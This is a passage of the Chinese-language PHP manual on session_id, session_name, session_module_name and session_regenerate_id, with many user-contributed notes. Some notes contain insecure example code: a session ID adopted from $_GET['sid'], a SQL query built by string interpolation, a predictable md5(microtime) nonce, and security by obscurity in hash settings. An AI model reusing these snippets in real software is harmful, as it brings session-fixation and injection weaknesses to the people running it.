If we use session_id() to read the cookie it will output a value of this: enGHumY,-2De-F-TDzNHVmE,hY5

The two values don't match!  Use either setrawcookie() or URL encode if you wish to match the original value.
infinito84 at gmail dot com 06-Mar-2014 05:50
Get a shared session.

Sometimes is good can interchange messages and vars between one session and another, but PHP dont support this. I create this script that allows with session_id() change from current session to shared session (this is, info with scope to all sessions) for read and write info and back in to user session. The code:

<?php
    ini_set('display_errors',1);
    error_reporting(E_ALL);

    function get_global($key){
        //Get current session
        if(session_status()!=PHP_SESSION_ACTIVE)session_start();
        $current_id=session_id();
        session_write_close();
        //Set a global session with session_id=1
        session_id(1);
        session_start();
        //Get superglobal value
        $value=null;
        if(isset($_SESSION[$key]))$value=$_SESSION[$key];
        session_write_close();
        //Set the before session
        session_id($current_id);
        session_start();
        return $value;
    }

    function set_global($key,$value){
        //Get current session
        if(session_status()!=PHP_SESSION_ACTIVE)session_start();
        $current_id=session_id();
        session_write_close();
        //Set a global session with session_id=1
        session_id(1);
        session_start();
        //Set superglobal value
        $_SESSION[$key]=$value;
        session_write_close();
        //Set the before session
        session_id($current_id);
        session_start();
    }
    //Example
    //Begin my session normally
    session_start();
    if(empty($_SESSION['count'])){
        $_SESSION['count']=0;
        $_SESSION['color']="rgb(".rand(0,255).",".rand(0,255).",".rand(0,255).")";
    }
    $_SESSION['count']++;
    $id=session_id();
    //Get the superglobal
    $test=get_global("test");
    //Set the superglobal test with empty array if this dont set
    if($test==null)$test=array();
    //Get the superglobal
    $test=get_global("test");
    //Set values for each reload page and save the session_id that create it
    $test[]="<span style='color:".$_SESSION['color']."'>Value: ".rand(0,100)." SessionID: $id</span><br>";
    //Save the superglobal
    set_global("test",$test);
    //Show the superglobal
    foreach($test as $t){
        echo $t;
    }
    echo "<b>Reloads = ".$_SESSION['count'].", <span style='color:".$_SESSION['color']."'>This my color</span></b>";

    exit;
?>
Dario Gomes 07-Jun-2011 07:06
Gosh, took a LOOONG time to figure this one out! If you have suhosin built into your PHP and can't get sessions to work after changing the session id through session_id(), try turning off suhosin's session encryption option in php.ini with:

suhosin.session.encrypt=Off
Francois 15-Mar-2011 10:45
In php version 5.3.2 in my case each time a new session-id was generated after session_start() but all was working before correctly in previous versions. So I lost data from my current session (wrong session-id). There was always a $_POST or $_GET or $_COOKIE available with the session-name and session-id, so session_start() was taken this automatically. Now I have to execute session_id(..old id ..) before session_start() and a session is started for the same id.
dmeweb at dibsplace dot com 06-Mar-2011 09:19
If you look at the notes on cookies (set_cookie I think), you will see that you can not read a cookie on the page that it is set.  That is because the cookies are sent with the page request which comes, of course, before your PHP is run.  You have to wait until the next page request from the same source to read the cookie.
ab at ixo point ca 07-Jan-2011 11:17
I was perplexed by inconsistent results with the session ID depending on whether I retrieve it using SID, COOKIE, or session_id().  I have found that session_id() is the most reliable method, whereas SID and COOKIE["PHPSESSIONID"] are sometimes undefined.

I used this simple script to quickly test the problem on my servers:

<?php
$a = session_id();
if(empty($a)) session_start();
echo "SID: ".SID."<br>session_id(): ".session_id()."<br>COOKIE: ".$_COOKIE["PHPSESSID"];
?>

Regardless of browser I see the COOKIE undefined on the first load and the other two defined, then SID is empty on subsequent reloads and COOKIE is defined, but session_id() is always defined.

If I insert the session_regenerate_id() method that jeff_zamrzla gives below the refresh the page, I get a new session_id() but the COOKIE value is initially the prior session_id() until I hit refresh a second time.  So again, session_id() proves to be the most reliable method.

It's probably not a bug since I found the behaviour to be consistent in PHP versions 5.2.14, 5.3.3 and 5.3.4, but I can't figure what I'm missing and hopefully this will help others who run into this.
Drugelis, Lietuva 11-Sep-2010 07:46
I had a lot of trouble with session_regenerate_id() as it did not regenerate... Session_id() stayed the same no matter what (unless closing the window). I wanted to have different sid and empty vars for each session/page meeting a condition for security reasons.  Finally, this worked:

<?php
$a = session_id();
if ($a == '') session_start();
if ( ...add check if you want to regenerate and destroy vars on some condition only [recommended :)]...  )
 { session_unset(); //destroys variables
   session_destroy() //destroys session;
 }

$a = session_id();
if ($a == '') session_start();
if (!isset($_SESSION['safety']))
{
    session_regenerate_id(true);
    $_SESSION['safety'] = true;
}
$_SESSION['sessionid'] = session_id();
?>

Now you get different sid and session variables empty for each session_start if condition is met (i.e. user hits refresh on user/password form, which I needed badly :). Hope this helps someone out there.
Env: localhost
Note: condition is mandatory, otherwise it destroys on each load.
Axel 13-May-2008 01:44
The documentation for session_id is incomplete when it says:
"For example, the file session handler only allows characters in the range a-z, A-Z and 0-9!".

It is untrue when changing the default for the session.hash_bits_per_character as Colin said. session_id may therefore contain "-" and ",".

http://fr.php.net/manual/en/session.configuration.php
25-Mar-2007 11:06
Regarding Colin's comment, note that setting hash_bits_per_character to 5 results in characters ranging from 0-9 and a-v. Most attackers would be wise enough to realize what was going on when they saw a letter in g-v.  The probability of not seeing a letter in g-v is somewhere around 2^-32.
Colin 08-Mar-2007 10:46
The higher you set session.hash_bits_per_character the shorter your session_id will become by using more bits per character. The possible values are 4, 5, or 6.

When using sha-1 for hashing (by setting ini_set('session.hash_function', 1) the following session string lengths are produced by the three session.hash_bits_per_character settings:

4 - 40 character string
5 - 32 character string
6 - 27 character string

It would seem desirable to use sha-l with 5 bits_per_character because this will emulate a standard 32 character md5 string and make a would-be attacker think that is what you're hashing with.
22-Aug-2006 01:15
In response to simon at quo dot com dot au:

The PHPSESSID is produced using an hash function. By default, it uses MD5 which produces 128 bits long (i.e: 16 bytes long) hashes.
But, since some bytes' values may not be used in the HTTP header, PHP outputs the hash in its hexadecimal representation, thus resulting in a 32 bytes long text.

Starting with  PHP 5.0, you can change the hash function used (by setting "session.hash_function" to whatever function you want to use in php.ini).
You may for example set it to 1 to switch to SHA-1 which produces 160 bits (20 bytes) long hashes.

Please also note that another setting was introduced in PHP 5 (session.hash_bits_per_character) which sort of "compresses" the hash. Thus, resulting in what seems to be a shorter hash.
This feature helps you improve your application's security by producing IDs that are harder to prodict for a malicious attacker.

More information on those settings is provided on:
http://www.php.net/manual/en/ref.session.php
simon at quo dot com dot au 06-Mar-2006 10:15
Length of PHPSESSID appears to be 32 characters by default.
jpjounier at hotmail dot com 23-Jun-2005 04:28
About the note from Cybertinus :

The following test doesn't work, the code following is always executed :

<?php
if(!session_id())
{
// Always executed even if there's already an opened session
}

session_id() returns an empty string if there is no current session, so to test if a session already exists, it's better to write this :
if(session_id() == "")
{
session_start();
}
else
{
// Anything you want
}
?>
cbarnes at bfinity dot net 09-May-2005 06:44
Note that Firefox and Mozilla use the same process for launching new windows or tabs, they will pick up the same session id as the previous windows until the parent process dies or is closed. This may cause undesired results if the session id is stored in a db and checked, a solution is to check at the new entry point (new tab or window if the user went back to the index page) for an existing session. If a session id exists and a new one is required use something like:

<?php
$ses_id = session_id();
$bsid_exists = false;
$bsid_exists = check_session_id_from_db($ses_id);
 if ($bsid_exists){
 //This is a reentry and the session already exists
 // create a new session ID and start a new
session_regenerate_id();
$ses_id = session_id();
 }
?>
karlhaines at comcast dot net 30-Oct-2003 05:05
Rewriting URL's is not suggested for obvious security issues. Please be careful with register_globals when using sessions! Check that all information you recieve from a user is valid before accepting it!
Andi, info at pragmaMx dot org 16-Jan-2003 01:13
you can also add the iframe tag:
ini_set("url_rewriter.tags", "a=href,area=href,frame=src,iframe=src,input=src,form=fakeentry");


获取/设置会话模块名称

  • ? session_id
  • session_name ?
  • PHP Manual
  • Session 函数
  • 获取/设置会话模块名称

session_module_name

(PHP 4, PHP 5, PHP 7, PHP 8)

session_module_name — 获取/设置会话模块名称

说明

session_module_name(?string $module = null): string|false

session_module_name() 获取或设置会话模块名称，也被称做：session.save_handler。

参数

module

如果指定 module 参数并且不是 null， 则使用指定值作为会话模块。 禁止传入 "user" 作为此参数的值， 请使用 session_set_save_handler() 来设置用户自定义的会话处理器。

返回值

返回当前所用的会话模块名称, 或者在失败时返回 false。

更新日志

版本 | 说明
8.0.0 | module 现在可以为空。
7.2.0 | 不允许设置模块名称为 "user"。 在之前的版本中，如果设置为 "user"，那么会被静默的忽略到。

User Contributed Notes

Anonymous 21-Apr-2015 10:43
was looking for a rather comprehensive list of modules, and found http://stackoverflow.com/questions/8415962/what-exactly-phps-function-session-module-name-is-for but there are more.
raees at steelbrain dot com dot pk 03-Nov-2014 09:29
This function is used to set the Session Module at site or script level.

The global configuration can be done in php.ini under the [Session] section and with the name of "session.save_handler". The sessions are saved in files by default, like so:
session.save_handler = files

But with this configuration you set one of your websites to use some other session module (if you have them installed and extension loaded with PHP), like so:
<?php

// NOTE: You must use this function before starting session with session_start(); to make it work properly
session_module_name('memcache'); // or pgsql or redis etc

// You'll need to define a save path also, if the module is other than files, like so:
session_save_path('localhost:11211'); // memcache uses port 11211

// or you can use multiple for load balancing:
session_save_path('localhost:11211:41,otherhost:11211:60') // First part is hostname or path to socket, next is port and the last is the weight for that server

//The function also returns the value of the current session module.
echo session_module_name(); // will print memcache in our case

// or maybe a check
if(session_module_name() != 'memcache'){
  // Do something, throw an exception maybe
}


读取/设置会话名称

  • ? session_module_name
  • session_regenerate_id ?
  • PHP Manual
  • Session 函数
  • 读取/设置会话名称

session_name

(PHP 4, PHP 5, PHP 7, PHP 8)

session_name — 读取/设置会话名称

说明

session_name(?string $name = null): string|false

session_name() 函数返回当前会话名称。 如果指定 name 参数， session_name() 函数会更新会话名称， 并返回 原来的 会话名称。

如果使用 name 指定了新字符串作为会话 cookie 的名字， session_name() 函数会修改 HTTP 响应中的 cookie （如果启用了 session.transid，还会输出会话 cookie 的内容）。 一旦在 HTTP 响应中发送了 cookie 的内容之后， 调用 session_name() 函数会产生错误。 所以，一定要在调用 session_start() 函数之前 调用此函数。

请求开始的时候，会话名称会被重置并且存储到 session.name 配置项。 因此，要想设置会话名称，那么对于每个请求，都需要在 调用 session_start() 函数 之前调用 session_name() 函数。

参数

name

用在 cookie 或者 URL 中的会话名称， 例如：PHPSESSID。 只能使用字母和数字作为会话名称，建议尽可能的短一些， 并且是望文知意的名字（对于启用了 cookie 警告的用户来说，方便其判断是否要允许此 cookie）。 如果指定了 name 且不为 null， 那么当前会话也会使用指定值作为名称。

Warning

会话名称至少需要一个字母，不能全部都使用数字， 否则，每次都会生成一个新的会话 ID。

返回值

返回当前会话名称。如果指定 name 参数，那么此函数会更新会话名称，并且 返回 原来的 会话名称， 或者在失败时返回 false。

更新日志

版本 | 说明
8.0.0 | name 现在可以为 null。
7.2.0 | session_name() 函数会检查会话状态， 之前的版本仅仅检查 cookie 状态。 所以，旧版本的 PHP 允许你在调用 session_start() 函数之后再调用 session_name() 函数， 新版本的 PHP 不再允许这样做了。

示例

Example #1 session_name() 示例

<?php

/* set the session name to WebsiteID */

$previous_name = session_name("WebsiteID");

echo "The previous session name was $previous_name<br />";
?>

参见

  • session.name 配置指示

User Contributed Notes

descartavel1+php at gmail dot com 16-May-2023 09:13
Always try to set the prefix for your session name attribute to either `__Host-` or `__Secure-` to benefit from Browsers improved security. See https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Set-Cookie#attributes

Also, if you have auto_session enabled, you must set this name in session.name in your config (php.ini, htaccess, etc)
mmulej at gmail dot com 16-Feb-2021 09:29
Hope this is not out of php.net noting scope.

session_name('name') must be set before session_start() because the former changes ini settings and the latter reads them. For the same reason session_set_cookie_params($options) must be set before session_start() as well.

I find it best to do the following.

function is_session_started()
{
    if (php_sapi_name() === 'cli')
        return false;

    if (version_compare(phpversion(), '5.4.0', '>='))
        return session_status() === PHP_SESSION_ACTIVE;

    return session_id() !== '';
}
if (!is_session_started()) {
    session_name($session_name);
    session_set_cookie_params($cookie_options);
    session_start();
}
tony at marston-home dot demon dot co dot uk 10-Jun-2018 03:54
The description has recently been modified to contain the statement "When new session name is supplied, session_name() modifies HTTP cookie". This is not correct as session_name() has never modified any cookie data. A change in session.name does not become effective until session_start() is called, and it is session_start() that creates the cookie if it does not already exist.

See the following bug report for details: https://bugs.php.net/bug.php?id=76413
tony at marston-home dot demon dot co dot uk 04-Jun-2018 01:12
The description that session_name() gets and/or sets the name of the current session is technically wrong. It does nothing but deal with the value originally supplied by the session.name value within the php.ini file.

Thus:-
$name = session_name();
is functionally equivalent to
$name = ini_get('session.name');
and
session_name('newname);
is functionally equivalent to
ini_set('session.name','newname');

This also means that:
$old_name = session_name('newname');
is functionally equivalent to
$old_name = ini_set('session.name','newname');

The current value of session.name is not attached to a session until session_start() is called. Once session_start() has used session.name to lookup the session_id() in the cookie data the name becomes irrelevant as all further operations on the session data are keyed by the session_id().

Note that changing session.name while a session is currently active will not update the name in any session cookie. The new name does not take effect until the next call to session_start(), and this requires that the current session, which was created with the previous value for session.name, be closed.
Victor H 27-Sep-2015 06:14
As  Joseph Dalrymple said, adding session_name do slow down a little bit the execution time.
But, what i've observed is that it decreased the fluctuation between requests.
Requests on my script fluctuated between 0,045 and 0,022 seconds. With session_name("myapp"), it goes to 0,050 and 0,045. Not a big deal, but that's a point to note.

For those with problems setting the name, when session.auto_start is set to 1, you need to set the session.name on php.ini!
Joseph Dalrymple 14-Apr-2011 11:52
For those wondering, this function is expensive!

On a script that was executing in a consistent 0.0025 seconds, just the use of session_name("foo") shot my execution time up to ~0.09s. By simply sacrificing session_name("foo"), I sped my script up by roughly 0.09 seconds.
relsqui at chiliahedron dot com 20-Feb-2009 11:07
Remember, kids--you MUST use session_name() first if you want to use session_set_cookie_params() to, say, change the session timeout. Otherwise it won't work, won't give any error, and nothing in the documentation (that I've seen, anyway) will explain why.

Thanks to brandan of bildungsroman.com who left a note under session_set_cookie_params() explaining this or I'd probably still be throwing my hands up about it.
php at wiz dot cx 27-Sep-2008 08:36
if you try to name a php session "example.com" it gets converted to "example_com" and everything breaks.

don't use a period in your session name.
slave at codegrunt dot com 22-Dec-2004 02:03
One gotcha I have noticed with session_name is that it will trigger a WARNING level error if the cookie or GET/POST variable value has something other than alphanumeric characters in it.  If your site displays warnings and uses PHP sessions this may be a way to enumerate at least some of your scripts:

http://example.com/foo.php?session_name_here=(bad)

Warning: session_start(): The session id contains invalid characters, valid characters are only a-z, A-Z and 0-9 in /some/path/foo.php on line 666

I did not see anything in the docs suggesting that one had to sanitize the PHP session ID values before opening the session but that appears to be the case.

Unfortunately session_name() always returns true so you have to actually get to the point of assigning variables values before you know whether you have been passed bad session data (as far as I can see).  After the error has been generated in other words.

Cheers
Hongliang Qiang 27-May-2004 01:48
This may sound no-brainer: the session_name() function will have no essential effect if you set session.auto_start to "true" in php.ini . And the obvious explanation is the session already started thus cannot be altered before the session_name() function--wherever it is in the script--is executed, same reason session_name needs to be called before session_start() as documented.

I know it is really not a big deal. But I had a quite hard time before figuring this out, and hope it might be helpful to someone like me.


使用新生成的会话 ID 更新现有会话 ID

  • ? session_name
  • session_register_shutdown ?
  • PHP Manual
  • Session 函数
  • 使用新生成的会话 ID 更新现有会话 ID

session_regenerate_id

(PHP 4 >= 4.3.2, PHP 5, PHP 7, PHP 8)

session_regenerate_id — 使用新生成的会话 ID 更新现有会话 ID

说明

session_regenerate_id(bool $delete_old_session = false): bool

session_regenerate_id() 在不修改当前会话中数据的前提下使用新的 ID 替换原有会话 ID。

如果启用了 session.use_trans_sid 选项， 那么必须在调用 session_regenerate_id() 函数之后开始进行输出工作， 否则会导致使用原有的会话 ID。

Warning

当前的 session_regenerate_id 并没有很好的处理在诸如移动数据网络和 WiFi 网络不稳定的场景。 因此，调用 session_regenerate_id 函数 可能会导致会话丢失。

你不应该直接销毁旧的会话所关联的数据， 而是应该使用时间戳机制来控制对于已经失效的会话 ID 的访问。 否则，可能会在并发访问的场景下导致会话数据不一致、 会话丢失等情况，甚至可能引发客户端（浏览器）创建很多无用的会话 ID。 但是，另外一方面来讲，立即删除会话中的数据 可以防止会话劫持攻击。

参数

delete_old_session

是否删除原 ID 所关联的会话存储文件。 如果你需要避免会话并发访问冲突，那么不应该立即删除会话中的数据。 如果你需要防止会话劫持攻击，那么可以立即删除会话数据。

返回值

成功时返回 true， 或者在失败时返回 false。

示例

Example #1 A session_regenerate_id() 示例

<?php
// 注意：下列不是完整的代码，只是一个示例

session_start();

// 检查会话被销毁的时间戳
if (isset($_SESSION['destroyed'])
&& $_SESSION['destroyed'] < time() - 300) {
// 通常不会发生这种情况。如果发生，那么可能是由于不稳定的网络状况或者被攻击导致的
// 移除用户会话中的认证信息
remove_all_authentication_flag_from_active_sessions($_SESSION['userid']);
throw(new DestroyedSessionAccessException);
}

$old_sessionid = session_id();

// 设置会话销毁时间戳
$_SESSION['destroyed'] = time(); // session_regenerate_id() 保存旧会话数据

// 如果直接调用 session_regenerate_id() 函数可能会导致会话丢失的情况，
// 参见下面的示例
session_regenerate_id();

// 新创建的会话不需要时间戳
unset($_SESSION['destroyed']);

$new_sessionid = session_id();

echo "Old Session: $old_sessionid<br />";
echo "New Session: $new_sessionid<br />";

print_r($_SESSION);
?>

当前的会话模块未能很好的处理在网络不稳定的时候导致会话丢失的场景。 你需要自行管理会话 ID 避免调用 session_regenerate_id 导致会话丢失。

Example #2 Avoiding lost session by session_regenerate_id()

<?php
// 注意：下列不是完整的代码，只是一个示例
// my_session_start() 和 my_session_regenerate_id()
// 函数可以避免在网络不稳定的情况下导致会话丢失的问题。
// 并且还可以避免用户会话被攻击者利用

function my_session_start() {
session_start();
if (isset($_SESSION['destroyed'])) {
if ($_SESSION['destroyed'] < time()-300) {
// 通常不会发生这种情况。如果发生，那么可能是由于不稳定的网络状况或者被攻击导致的
// 移除用户会话中的认证信息
remove_all_authentication_flag_from_active_sessions($_SESSION['userid']);
throw(new DestroyedSessionAccessException);
}
if (isset($_SESSION['new_session_id'])) {
// 尚未完全过期，可能是由于网络不稳定引起的。
// 尝试再次设置正确的会话 ID cookie。
// 注意：如果你需要移除认证标记，那么不要尝试再次设置会话 ID。
session_commit();
session_id($_SESSION['new_session_id']);
// 现在有了新的会话 ID 了。
session_start();
return;
}
}
}

function my_session_regenerate_id() {
// 如果由于不稳定的网络导致没有创建会话 ID，
// 那么就创建一个
$new_session_id = session_create_id();
$_SESSION['new_session_id'] = $new_session_id;

// 设置销毁时间戳
$_SESSION['destroyed'] = time();

// 保存并关闭会话
session_commit();

// 使用新的会话 ID 开始会话
session_id($new_session_id);
ini_set('session.use_strict_mode', 0);
session_start();
ini_set('session.use_strict_mode', 1);

// 新的会话不需要这 2 个数据了
unset($_SESSION['destroyed']);
unset($_SESSION['new_session_id']);
}
?>

参见

  • session_id() - 获取/设置当前会话 ID
  • session_create_id() - Create new session id
  • session_start() - 启动新会话或者重用现有会话
  • session_destroy() - 销毁一个会话中的全部数据
  • session_reset() - Re-initialize session array with original values
  • session_name() - 读取/设置会话名称

User Contributed Notes

antomsa at hotmail dot it 18-Sep-2021 02:00
<?php

function my_session_regenerate_id() {
    ...
    session_start();
    ...

    unset($_SESSION['destroyed']);
    unset($_SESSION['new_session_id']);
}

?>

Within my_session_regenerate_id(), unset($_SESSION['destroyed']) and
 unset($_SESSION['new_session_id']) are useless because session_start() will open an empty session. They would be needed if built-in session_regenerate_id() was called.
Alamin 28-Jun-2018 02:26
In the second example provided by php.net, should it call my_session_start inside the session regenerate method instead of directly calling session_start? I think it is an error.
mikebranttx at gmail dot com 17-May-2017 03:10
Note that in current PHP 7.2 nightly builds example #2 above will not work as shown.  You will get following error upon trying to turn strict mode back on after session_start():

"ini_set(): A session is active. You cannot change the session module's ini settings at this time"

I suppose this means that for any session where you perform session ID regeneration or session ID forwarding (from a session for which a recent session ID regeneration was performed to the new session ID). That you will just have to live with strict mode being disabled for the remainder of that active session.

I don't know that this is really a security concern so long as you are following a single-session per request design (i.e. you are not working with multiple concurrent sessions).
k-gun !! mail 08-Jan-2017 11:27
Document example is wrong with usage of "session.use_strict_mode" according to RFC (says: "warning error for session_id() when use_strice_mode=1" on https://wiki.php.net/rfc/strict_sessions).

So, this directive affects "session_id()" not "session_start()". So usage must be like this;

<?php
// first set ini
ini_set('session.use_strict_mode', '0');
// and
session_id($sid);

// then
// maybe run this: ini_restore('session.use_strict_mode');

// then go on...
?>

Refs (ctrl+f & use_strict_mode);
https://wiki.php.net/rfc/strict_sessions
https://wiki.php.net/rfc/session-create-id
http://php.net/manual/en/function.session-id.php#119997
ei dot rik dot ops dot tad at gmail dot com 02-Jun-2016 10:11
In PHP 5.6 (and probably older versions), session_regenerate_id(true) do not trigger a read() call to the session handler for the new session id.

In PHP 7, read() is triggered during session_regenerate_id(true). Nice to know when working with custom session handlers.
tedivm at tedivm dot com 17-Jan-2016 08:37
I wrote the current top voted comment on this and wanted to add something. The existing code from my previous comment generates it's nonces in an insecure way-

<?php
$_SESSION['nonce'] = md5(microtime(true));
?>

Since "microtime" is predictable it makes brute forcing the nonce much easier. A better option would be something that utilizes randomness, such as-

<?php
bin2hex(openssl_random_pseudo_bytes(32))
?>
kgm_india at yahoo dot co dot in 25-Nov-2013 11:40
as far as I have understood reading this online notes,

session_name() is the name which is identified as session a through the cookies or http links.

session_id is  like a transaction within a session_name() and one session_name may have many session_id

each session_id has the corresponding data stored.

session_id are used in read and write callback under a session_name

whatever it is, first call the
 session_name(),
then call session_id ()
and then call start_session()

start_session will open the session_name, then check the session_id called before and use it in the read or write call back for storing or retrieving data

calling start_session() without session_name or session_id will use the default session_name and the default session_id in that order

I hope if the order is followed there should not be any problems.

do not call session_name or session_id after start_session(), if you are specific on using them.

thank you for others note.
spmtrap at yahoo dot com 31-Jan-2012 02:48
`session_regenerate_id` sends a new cookie but doesn't overwrite the value stored in `$_COOKIE`. After calling `session_destroy`, the open session ID is discarded, so simply restarting the session with `session_start` (as done in Ben Johnson's code) will re-open the original, though now empty, session for the current request (subsequent requests will use the new session ID). Instead of `session_destroy`+`session_start`, use the `$delete_old_session` parameter to `session_regenerate_id` to delete the previous session data.

<?php
session_start();
/* Create a new session, deleting the previous session data. */
session_regenerate_id(TRUE);
/* erase data carried over from previous session */
$_SESSION=array();
?>

To start a new session and leave the old untouched, simply leave out the argument to `session_regenerate_id`.
gr at gr5 dot org 30-Aug-2011 06:57
If you are trying to maintain 2 active sessions don't use session_regenerate_id().  Especially if the first session is closed and it's time to open the second.  Because the session id is cached you also have to explicitly set it the second time.

<?php
session_name('PHPSESSID'); // redundant - here for clarity
session_start();
// ...do stuff
session_write_close();

// now switch to session 2...
session_name('PHPSESSID_2');
if (isset($_COOKIE['phpsessid_2']))
    session_id($_COOKIE['phpsessid_2']); // not doing this will simply reopen the first session again
else
    session_id(sha1(mt_rand()); // dont use session_regenerate_id() here.  Not creating a new id will create two cookies with same session id and same session variables
session_start();
// ... do stuff with session 2
session_write_close();
?>
Ben Johnson 04-Oct-2010 06:50
To "start a new session", try the following:

<?php
session_start();
session_regenerate_id();
session_destroy();
unset($_SESSION);
session_start();
?>
raido dot aasoja at gmail dot com 26-Sep-2010 11:28
A note on lost sessions and trying to fix it with session_regenerate_id:
Make sure that you're not trying to push SimpleXML object to the session. It just won't go without first converting it to array. :)
tedivm at tedivm dot com 29-Dec-2008 06:36
I wrote the following code for a project I'm working on- it attempts to resolve the regenerate issue, as well as deal with a couple of other session related things.

I tried to make it a little more generic and usable (for instance, in the full version it throws different types of exceptions for the different types of session issues), so hopefully someone might find it useful.

<?php
function regenerateSession($reload = false)
{
    // This token is used by forms to prevent cross site forgery attempts
    if(!isset($_SESSION['nonce']) || $reload)
        $_SESSION['nonce'] = md5(microtime(true));

    if(!isset($_SESSION['IPaddress']) || $reload)
        $_SESSION['IPaddress'] = $_SERVER['REMOTE_ADDR'];

    if(!isset($_SESSION['userAgent']) || $reload)
        $_SESSION['userAgent'] = $_SERVER['HTTP_USER_AGENT'];

    //$_SESSION['user_id'] = $this->user->getId();

    // Set current session to expire in 1 minute
    $_SESSION['OBSOLETE'] = true;
    $_SESSION['EXPIRES'] = time() + 60;

    // Create new session without destroying the old one
    session_regenerate_id(false);

    // Grab current session ID and close both sessions to allow other scripts to use them
    $newSession = session_id();
    session_write_close();

    // Set session ID to the new one, and start it back up again
    session_id($newSession);
    session_start();

    // Don't want this one to expire
    unset($_SESSION['OBSOLETE']);
    unset($_SESSION['EXPIRES']);
}

function checkSession()
{
    try{
        if($_SESSION['OBSOLETE'] && ($_SESSION['EXPIRES'] < time()))
            throw new Exception('Attempt to use expired session.');

        if(!is_numeric($_SESSION['user_id']))
            throw new Exception('No session started.');

        if($_SESSION['IPaddress'] != $_SERVER['REMOTE_ADDR'])
            throw new Exception('IP Address mixmatch (possible session hijacking attempt).');

        if($_SESSION['userAgent'] != $_SERVER['HTTP_USER_AGENT'])
            throw new Exception('Useragent mixmatch (possible session hijacking attempt).');

        if(!$this->loadUser($_SESSION['user_id']))
            throw new Exception('Attempted to log in user that does not exist with ID: ' . $_SESSION['user_id']);

        if(!$_SESSION['OBSOLETE'] && mt_rand(1, 100) == 1)
        {
            $this->regenerateSession();
        }

        return true;

    }catch(Exception $e){
        return false;
    }
}

?>
soapergem at gmail dot com 29-Aug-2008 03:50
This can be a very dangerous function if you're not careful about how you handle things, because even though it generates a whole new set of session data, it keeps the old data "open" until the script terminates, locking out any other scripts trying to run concurrently with the old session id.

Recently I came across a situation where I wanted to explicitly pass in a session ID, copy the data from that session into a *new* session, and then continue operating under that new session, thereby allowing other scripts to use the old one concurrently. But I quickly found that these "other scripts" would not execute until the first script finished--even though it had already started a new session--because it kept the old session open.

So if you're trying to copy over session data to a new session to free up the old session for continued, concurrent use, here's some code to ensure nobody's feet get stepped on:

<?php

//  get session id of an existing session
$sid = $_GET['sid'];

//  start the old session to retrieve $_SESSION data
session_id($sid);
session_start();

//  start a new session; this copies the $_SESSION data over
session_regenerate_id();

//  hang on to the new session id
$sid = session_id();

//  close the old and new sessions
session_write_close();

//  re-open the new session
session_id($sid);
session_start();

/* main code here */

?>

This could probably be encapsulated into a function with one parameter as well to save space if it was a repeated thing.
primenetworkzx at gmail dot com 14-Jun-2008 11:40
If you are storing your session data in a database you have to manually update the session_id in the database. The session_set_save_handler() will not do it for you.

function UpdateSessID() {
    $old_sess_id = session_id();
    session_regenerate_id(false);
    $new_sess_id = session_id();

    $query = "UPDATE `session_table` SET `session_id` = '$new_sess_id' WHERE session_id = '$old_sess_id'";
        mysql_query($query);
}

Be sure to set session_regenerate_id() to FALSE since it's not really necessary to delete the whole record from MySQL and add it again. That's unnecessary overhead. Only changing the id matters.
sopel 19-Sep-2005 05:32
for php 5.1> user probably worth visiting is http://ilia.ws/archives/47-session_regenerate_id-Improvement.html
dyer85 at gmail dot com 24-Aug-2005 10:59
There could be a potential problem with elger at NOSPAM dot yellowbee dot nl's a few posts below. In the code, was used the REQUEST_URI server variable, which, in some cases might already contain the query string. Therefore, always apending '?whatever=foo' would occasionally cause the script to malfunction. I suggest using PHP_SELF, which will not contain the query string after the file.
Nicolas dot Chachereau at Infomaniak dot ch 02-Jun-2005 11:40
Session_destroy() does not only destroy the data associated with the current session_id (i.e. the file if you use the default session save handler), but also the session itself: if you call session_destroy() and then session_regenerate_id(), it will return false, and session_id() won't return anything. In order to manipulate a session after destroying it, you need to restart it.

So in fact, the code mentionned by chris won't work. If you want to destroy the file associated with the old session_id, try the following:
<?php
session_start();
$old_sessid = session_id();
session_regenerate_id();
$new_sessid = session_id();
session_id($old_sessid);
session_destroy();

//If you don't copy the $_SESSION array, you won't be able to use the data associated with the old session id.
$old_session = $_SESSION;
session_id($new_sessid);
session_start();
$_SESSION = $old_session;
//...
?>

Note: this technique will send 3 Set-Cookie headers (one on each session_start() and one on session_regenerate_id()). I don't think this is a problem, but if it appears to be one, you could either leave it alone and wait for the garbage collector to catch the file associated with the old session, or try to delete the file with unlink().
chris at knowledge dot tee-vee 16-Jan-2005 05:51
licp - no, session_regenerate_id() does not destroy any saved session data.

elger, I prefer the following order

[code]
// populate $_SESSION with any previously saved session data for the current session_id
session_start();
...
// delete any saved data associated with current session_id, $_SESSION is not changed
session_destroy();

// change session_id, $_SESSION not altered
session_regenerate_id();
...
// save any $_SESSION data under the current session_id
session_close();
[/code]
licp at hotmail dot com 06-Jan-2005 08:07
By inspecting the source code, I am not sure that after session_regenerate_id() run, the original session data does not destroy (still keeps at the system) that sniffers still hijack by applying original session identifier.

In addition, I find that if user-level session storage handler is used. session_regenerate_id() does not work.
php at cny dot de 20-Dec-2004 09:08
Also note that REMOTE_ADDR may change on every request if the user comes through a proxy farm. Most AOL-users do.
ross at kndr dot org 15-Nov-2004 03:41
In a previous note, php at 5mm de describes how to prevent session hijacking by
ensuring that the session id provided matches the HTTP_USER_AGENT and REMOTE_ADDR fields that were present when the session id was first issued.  It should be noted that HTTP_USER_AGENT is supplied by the client, and so can be easily modified by a malicious user.  Also, the client IP addresses can be spoofed, although that's a bit more difficult.  Care should be taken when relying on the session for authentication.
elger at NOSPAM dot yellowbee dot nl 28-Oct-2004 02:10
Take good notice of the new cookie being sent on calling session_regenerate_id on cookie-enabled sessions.
Make sure your page is reloaded otherwise you'll get an "session_destroy(): Session object destruction failed" error. So here are the examples:

Wrong:
<?php
    session_start();
    session_regenerate_id();
    session_destroy();
?>

Correct-like:
<?php
if (!$_GET['mode']){
    session_start();
    session_regenerate_id();
    header('location: '.$_SERVER['REQUEST_URI'].'?mode=destroy');
} else {
    session_start();
    session_destroy();
}
?>

I noted this because googleing on the previous mentioned error leads to all kinds of bug reports, but not to the solution. (which is, of course, to read the manual)
babel at nosqamplease sympatico ca 22-Feb-2004 08:48
To add to php at 5mm de's comments:

If the session is held over https, it's even better to save the client's cert or ssl session id instead of the hostname or ip, as it's proxy-transparent and more secure.
php at 5mm de 05-Sep-2003 06:01
This feature seems to create a new session ID without clearing the old session data. This is a very important feature for security validation:

$usedns = TRUE; // for eliminating failture by proxys using IP chains, but slower

$useragent = getenv("HTTP_USER_AGENT");
$host = getenv("REMOTE_ADDR");
